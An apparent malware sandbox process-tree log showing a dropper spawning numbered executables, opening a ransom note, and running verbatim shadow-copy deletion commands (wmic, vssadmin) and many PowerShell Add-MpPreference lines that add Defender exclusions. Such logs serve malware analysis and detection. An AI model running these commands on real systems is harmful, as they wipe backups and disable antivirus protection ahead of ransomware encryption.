wmic.exe shadowcopy delete
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2100

C:\Windows\SYSTEM32\vssadmin.exe
vssadmin delete shadows /all /quiet
3⤵
- Interacts with shadow copies
PID:2820

C:\Windows\SysWOW64\notepad.exe
C:\Users\Public\Documents\RGNR_7AAB8A15.txt
3⤵
- System Location Discovery: System Language Discovery
- Opens file in notepad (likely ransom note)
PID:9104

C:\Users\Admin\AppData\Local\Temp\Bomb.exe
"C:\Users\Admin\AppData\Local\Temp\Bomb.exe"
2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2896

C:\Users\Admin\AppData\Local\Temp\25.exe
"C:\Users\Admin\AppData\Local\Temp\25.exe"
3⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1592

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\25.exe'
4⤵
- Suspicious behavior: EnumeratesProcesses
PID:5888

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '25.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:6404

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:3744

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:6364

C:\Users\Admin\AppData\Local\Temp\24.exe
"C:\Users\Admin\AppData\Local\Temp\24.exe"
3⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1600

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\24.exe'
4⤵
- Suspicious behavior: EnumeratesProcesses
PID:5632

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '24.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:6708

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4868

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:6168

C:\Users\Admin\AppData\Local\Temp\23.exe
"C:\Users\Admin\AppData\Local\Temp\23.exe"
3⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3508

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\23.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:5996

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '23.exe'
4⤵
- Suspicious behavior: EnumeratesProcesses
PID:6872

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
4⤵
- Suspicious behavior: EnumeratesProcesses
PID:4108

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:5756

C:\Users\Admin\AppData\Local\Temp\22.exe
"C:\Users\Admin\AppData\Local\Temp\22.exe"
3⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4728

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\22.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:9028

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '22.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:7224

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:7592

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:8776

C:\Users\Admin\AppData\Local\Temp\21.exe
"C:\Users\Admin\AppData\Local\Temp\21.exe"
3⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2696

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\21.exe'
4⤵
PID:7900

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '21.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:9528

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
4⤵
PID:9132

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:7456

C:\Users\Admin\AppData\Local\Temp\20.exe
"C:\Users\Admin\AppData\Local\Temp\20.exe"
3⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3044

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\20.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:6232

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '20.exe'
4⤵
PID:9348

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
4⤵
PID:9340

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:6280

C:\Users\Admin\AppData\Local\Temp\19.exe
"C:\Users\Admin\AppData\Local\Temp\19.exe"
3⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:300

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\19.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:6796

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '19.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:212

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:10216

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:10104

C:\Users\Admin\AppData\Local\Temp\18.exe
"C:\Users\Admin\AppData\Local\Temp\18.exe"
3⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2412

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\18.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:8904

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '18.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:7152

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:9692

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:9996

C:\Users\Admin\AppData\Local\Temp\17.exe
"C:\Users\Admin\AppData\Local\Temp\17.exe"
3⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3484

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\17.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:7376

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '17.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:6636

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:3136

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:9624

C:\Users\Admin\AppData\Local\Temp\16.exe
"C:\Users\Admin\AppData\Local\Temp\16.exe"
3⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1504

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\16.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:6996

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '16.exe'
4⤵
PID:9040

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:8668

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:9956

C:\Users\Admin\AppData\Local\Temp\15.exe
"C:\Users\Admin\AppData\Local\Temp\15.exe"
3⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4960

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\15.exe'
4⤵
- Suspicious behavior: EnumeratesProcesses
PID:6672

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '15.exe'
4⤵
PID:9732

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:10180

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
4⤵
PID:9756

C:\Users\Admin\AppData\Local\Temp\14.exe
"C:\Users\Admin\AppData\Local\Temp\14.exe"
3⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:964

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\14.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:2092

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '14.exe'
4⤵
PID:8476

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:2792

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
4⤵
PID:5192

C:\Users\Admin\AppData\Local\Temp\13.exe
"C:\Users\Admin\AppData\Local\Temp\13.exe"
3⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2484

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\13.exe'
4⤵
- Suspicious behavior: EnumeratesProcesses
PID:7184

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '13.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:5732

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:9912

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
4⤵
PID:2912

C:\Users\Admin\AppData\Local\Temp\12.exe
"C:\Users\Admin\AppData\Local\Temp\12.exe"
3⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5048

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\12.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:404

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '12.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:8064

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:9788

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
4⤵
PID:7824

C:\Users\Admin\AppData\Local\Temp\11.exe
"C:\Users\Admin\AppData\Local\Temp\11.exe"
3⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3280

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\11.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:7196

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '11.exe'
4⤵
PID:9820

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
4⤵
PID:7328

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
4⤵
PID:1852

C:\Users\Admin\AppData\Local\Temp\10.exe
"C:\Users\Admin\AppData\Local\Temp\10.exe"
3⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5008

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\10.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:6344

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '10.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:8420

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:9360

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:10144

C:\Users\Admin\AppData\Local\Temp\9.exe
"C:\Users\Admin\AppData\Local\Temp\9.exe"
3⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3224

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\9.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:7108

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '9.exe'
4⤵
PID:8684

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:7348

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
4⤵
PID:7708

C:\Users\Admin\AppData\Local\Temp\8.exe
"C:\Users\Admin\AppData\Local\Temp\8.exe"
3⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:456

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\8.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:2952

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '8.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:8348

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
4⤵
PID:7524

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
4⤵
PID:10004

C:\Users\Admin\AppData\Local\Temp\7.exe
"C:\Users\Admin\AppData\Local\Temp\7.exe"
3⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
PID:1872

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\7.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:3744

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '7.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:8360

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
4⤵
PID:4920

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:8700

C:\Users\Admin\AppData\Local\Temp\6.exe
"C:\Users\Admin\AppData\Local\Temp\6.exe"
3⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
PID:284

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\6.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:6260

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '6.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:7428

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:8520

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
4⤵
PID:7068

C:\Users\Admin\AppData\Local\Temp\5.exe
"C:\Users\Admin\AppData\Local\Temp\5.exe"
3⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
PID:2700

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\5.exe'
4⤵
- Suspicious behavior: EnumeratesProcesses
PID:7268

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '5.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:9476

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:7512

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
4⤵
PID:8932

C:\Users\Admin\AppData\Local\Temp\4.exe
"C:\Users\Admin\AppData\Local\Temp\4.exe"
3⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
PID:3176

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\4.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:1628

